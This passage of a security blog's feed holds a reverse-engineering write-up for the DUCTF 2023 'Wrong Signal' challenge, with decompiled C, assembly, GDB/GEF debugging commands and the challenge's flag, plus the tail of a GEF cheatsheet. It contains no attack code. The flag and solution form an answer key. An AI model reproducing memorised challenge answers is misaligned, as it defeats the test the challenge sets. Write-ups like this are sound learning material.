ctx&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sometimes you want to step-debug without GEF&#39;s massive spew of text covering the screen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disable Context&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gef config context.enable &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Enable Context&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gef config context.enable &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>programming</category>
        
          <category>cheatsheet</category>
        
          <category>infosec</category>
        
          <category>ctf</category>
        
          <category>pwn</category>
        
          <category>reverse</category>
        
          <category>learning</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>DUCTF 2023 – Wrong Signal</title>
        <description>You straight to `oops()`. Right away.</description>
        <link href="https://trebledj.me/posts/ductf-2023-wrong-signal/"/>
        <updated>2023-09-04T00:00:00Z</updated>
        <id>https://trebledj.me/posts/ductf-2023-wrong-signal/</id>
        <content xml:lang="en" type="html">&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;Medium. 27/1424 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I am getting all the wrong signals from this binary.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Author: hashkitten&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;writeup&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#writeup&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Writeup&lt;/h2&gt;
&lt;h3 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h3&gt;
&lt;p&gt;On decompilation, the binary appears to be an innocent program which adds and subtracts numbers. The code itself is relatively simple.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Set the SIGSEGV handler.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x98&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__sigaction_handler&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sa_handler &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; oops&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sa_flags &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sigaction&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;sigsegv_sigaction&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Read input.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Enter the password:&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Check input for correctness.&lt;/span&gt;
local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;DAT_13386000&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;switch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; mangle_buf&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
		   &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xfc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1f&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x15000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
		local_c0 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; local_c0 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x15000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;local_c0 &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;DAT_13398000&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Well done! Wrap that in DUCTF{}.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;oops&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;a href=&quot;https://man7.org/linux/man-pages/man2/sigaction.2.html&quot;&gt;&lt;code&gt;sigaction&lt;/code&gt;&lt;/a&gt; handler takes care of any SIGSEGV faults, outputs &lt;code&gt;Wrong!&lt;/code&gt; and exits. SIGSEGVs occur when there are invalid memory accesses (e.g. reads, writes).&lt;/li&gt;
&lt;li&gt;The for-loop iterates through &lt;em&gt;crumbs&lt;/em&gt; (2-bit groups&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;), xors it with static data (&lt;code&gt;mangle_buf&lt;/code&gt;), and modifies &lt;code&gt;local_c0&lt;/code&gt; depending on the value of each crumb. Yeah, that eyesore in the switch condition computes the current crumb.&lt;/li&gt;
&lt;li&gt;Since 16-bytes are read, this means there are 64 crumbs, therefore 64 &lt;em&gt;operations&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Our goal is to modify &lt;code&gt;local_c0&lt;/code&gt; so that it goes from &lt;code&gt;0x13386000&lt;/code&gt; to &lt;code&gt;0x13398000&lt;/code&gt;—a difference of &lt;code&gt;0x12000&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last point is interesting, since there&#39;s no way we can get a unique solution. There are multiple ways to reach an offset of &lt;code&gt;0x12000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, if our crumbs are 3, 1, 1, 1, then we&#39;ve already arrived at our target address, right? Then we can just fill the rest with 2s and 1s to do nothing to &lt;code&gt;local_c0&lt;/code&gt;, right? Right?&lt;/p&gt;
&lt;p&gt;wRoNg! Ay c-rumba.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Very WrOnG!&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-400w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-400w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 400 / 74&quot; alt=&quot;Terminal output showing &#39;Wrong!&#39;&quot; title=&quot;Very WrOnG!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf23/assets/wrong-400w.webp 400w&quot; sizes=&quot;(max-width: 256px) 256px, 400px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using a Z3 script spun by reversing the program, we can output some test payloads. Now obviously this isn&#39;t the flag, but I&#39;m interested in testing out some cases. Using &lt;code&gt;I&lt;/code&gt; as the first letter, we trigger case 3 (&lt;code&gt;+0x15000&lt;/code&gt;) as our first operation.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Turns out we can&#39;t do that as our first move, because it catapults us into &lt;code&gt;oops()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;You straight to oops. Right away.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-888w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-888w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 888 / 499&quot; alt=&quot;Jail meme. But going to the oops function instead of jail.&quot; title=&quot;You straight to oops. Right away.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf23/assets/straight-to-oops-888w.webp 888w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 888px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;We have the best flag. Because of &lt;code&gt;oops()&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;If instead our first case was 2, the program continues, and we&#39;re not thrown straight into &lt;s&gt;jail&lt;/s&gt; &lt;code&gt;oops()&lt;/code&gt;.
So there must be something we&#39;re missing.&lt;/p&gt;
&lt;h3 id=&quot;where-are-the-segfaults-coming-from&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#where-are-the-segfaults-coming-from&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Where are the segfaults coming from?&lt;/h3&gt;
&lt;p&gt;While all the above observations are fine and dandy, the decompilation leaves out something crucial. Isn&#39;t it weird how &lt;code&gt;local_c0&lt;/code&gt; seems to be working with addresses and jumping around without actually doing &lt;em&gt;anything&lt;/em&gt;? Turns out, there&#39;s a sneaky little dereference after the switch-case, at &lt;code&gt;0x401305&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;; 0x4012fe. Load `local_c0` from stack to RAX.&lt;/span&gt;
&lt;span class=&quot;token instruction keyword&quot;&gt;MOV&lt;/span&gt;        &lt;span class=&quot;token instruction keyword&quot;&gt;RAX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;qword ptr &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;RBP &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; local_c0&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;; 0x401305. Dereference `RAX` to `AL`.&lt;/span&gt;
&lt;span class=&quot;token instruction keyword&quot;&gt;MOV&lt;/span&gt;        &lt;span class=&quot;token instruction keyword&quot;&gt;AL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;byte ptr &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;RAX&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;DAT_13386000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Don&#39;t underestimate these few lines. Even though the dereferenced value is unused, a read is performed nonetheless!&lt;/p&gt;
&lt;p&gt;So why are some reads causing segfaults? To answer this, we can use the &lt;code&gt;vmmap&lt;/code&gt; command that comes with GDB &lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GEF&lt;/a&gt;. This shows various segments of a binary, their address ranges, and whether they&#39;re readable/writable.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;vmmap shows us a comprehensive list of regions in the ELF.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 331&quot; alt=&quot;Image of vmmap command and output in GEF.&quot; title=&quot;vmmap shows us a comprehensive list of regions in the ELF.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf23/assets/vmmap-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Yikes! That&#39;s a lot of segments. Notice how some of them disallow all permissions? Our pointer was trying to read those regions. All that&#39;s left is to filter out the regions in our code.&lt;/p&gt;
&lt;h2 id=&quot;concluding-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#concluding-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Concluding Remarks&lt;/h2&gt;
&lt;p&gt;Peeking at the &lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/rev/wrong-signal/solve/solver.py&quot;&gt;official solve script&lt;/a&gt;... it turns out the challenge was a... &lt;em&gt;maze&lt;/em&gt;?!? Wut? Didn&#39;t expect that. But overall it was a fun little challenge with some nice surprises, and a good reminder to not overlook (or completely ignore) the small details such as that hidden byte read.&lt;/p&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;p&gt;I didn&#39;t do a step-by-step walkthrough of my solve script this time, but I&#39;ve littered it with comments, so hopefully it&#39;s understandable—even for those new to the Z3 library.&lt;/p&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/eff46dfd7f0cd5cc9ee4b2c2c3b174f6.js&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;DUCTF{hElCYi8OxUF7PAA5}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;And for the nerds: 4-bits is a nybble/nibble. &lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Verifiable through GDB, with &lt;code&gt;b *main+245&lt;/code&gt; and &lt;code&gt;p $rax&lt;/code&gt;. &lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;There are other similar tools, but I&#39;m accustomed to GEF&#39;s vmmap. &lt;a href=&quot;https://trebledj.me/posts/ductf-2023-wrong-signal/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>The HKUST Firebird CTF Team</title>
        <description>Experiences and reflections journeying with the HKUST Firebird CTF Team.</description>
        <link href="https://trebledj.me/posts/hkust-firebird-ctf-team/"/>
        <updated>2023-05-29T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hkust-firebird-ctf-team/</id>
